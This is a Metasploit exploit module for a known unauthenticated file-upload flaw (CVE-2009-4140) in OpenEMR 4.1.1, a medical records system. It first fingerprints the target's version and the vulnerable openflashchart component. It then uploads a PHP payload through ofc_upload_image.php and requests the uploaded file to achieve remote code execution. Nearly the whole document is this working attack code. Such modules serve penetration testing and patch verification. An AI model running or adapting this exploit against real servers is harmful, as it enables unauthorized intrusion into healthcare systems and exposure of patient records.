OpenEMR PHP File Upload Vulnerability

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => "OpenEMR PHP File Upload Vulnerability",
      'Description'    => %q{
          This module exploits a vulnerability found in OpenEMR 4.1.1 By abusing the
        ofc_upload_image.php file from the openflashchart library, a malicious user can
        upload a file to the tmp-upload-images directory without any authentication, which
        results in arbitrary code execution. The module has been tested successfully on
        OpenEMR 4.1.1 over Ubuntu 10.04.
      },
      'License'        => MSF_LICENSE,
      'Notes' => {
        'Stability' => [CRASH_SAFE],
        'SideEffects' => [],
        'Reliability' => []
      },
      'Author'         =>
        [
          'Gjoko Krstic <gjoko[at]zeroscience.mk>', # Discovery, PoC
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2009-4140' ],
          [ 'OSVDB', '90222' ],
          [ 'BID', '37314' ],
          [ 'EDB', '24492' ],
          [ 'URL', 'http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5126.php' ],
          [ 'URL', 'http://www.open-emr.org/wiki/index.php/OpenEMR_Patches' ]
        ],
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          ['OpenEMR 4.1.1', {}]
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2013-02-13',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('TARGETURI', [true, 'The base path to EGallery', '/openemr'])
        ])
  end

  def check
    uri = target_uri.path
    peer = "#{rhost}:#{rport}"

    # Check version
    vprint_status("Trying to detect installed version")

    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(uri, "interface", "login", "login.php")
    })

    if res and res.code == 200 and res.body =~ /v(\d\.\d\.\d)/
      version = $1
    else
      return Exploit::CheckCode::Unknown
    end

    vprint_status("Version #{version} detected")

    if version > "4.1.1"
      return Exploit::CheckCode::Safe
    end

    # Check for vulnerable component
    vprint_status("Trying to detect the vulnerable component")

    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri("#{uri}", "library", "openflashchart", "php-ofc-library", "ofc_upload_image.php"),
    })

    if res and res.code == 200 and res.body =~ /Saving your image to/
      return Exploit::CheckCode::Appears
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    uri = target_uri.path

    peer = "#{rhost}:#{rport}"
    payload_name = rand_text_alpha(rand(10) + 5) + '.php'
    my_payload = payload.encoded

    print_status("Sending PHP payload (#{payload_name})")
    res = send_request_raw({
      'method'  => 'POST',
      'uri'     => normalize_uri("#{uri}", "library", "openflashchart", "php-ofc-library", "ofc_upload_image.php") + "?name=#{payload_name}",
      'headers' => { "Content-Length" => my_payload.length.to_s },
      'data'    => my_payload
    })

    # If the server returns 200 and the body contains our payload name,
    # we assume we uploaded the malicious file successfully
    if not res or res.code != 200 or res.body !~ /Saving your image to.*#{payload_name}$/
      fail_with(Failure::NotVulnerable, "#{peer} - File wasn't uploaded, aborting!")
    end

    register_file_for_cleanup(payload_name)

    print_status("Executing PHP payload (#{payload_name})")
    # Execute our payload
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri("#{uri}", "library", "openflashchart", "tmp-upload-images", payload_name),
    })

    # If we don't get a 200 when we request our malicious payload, we suspect
    # we don't have a shell, either.  Print the status code for debugging purposes.
    if res and res.code != 200
      print_error("Server returned #{res.code.to_s}")
    end
  end
end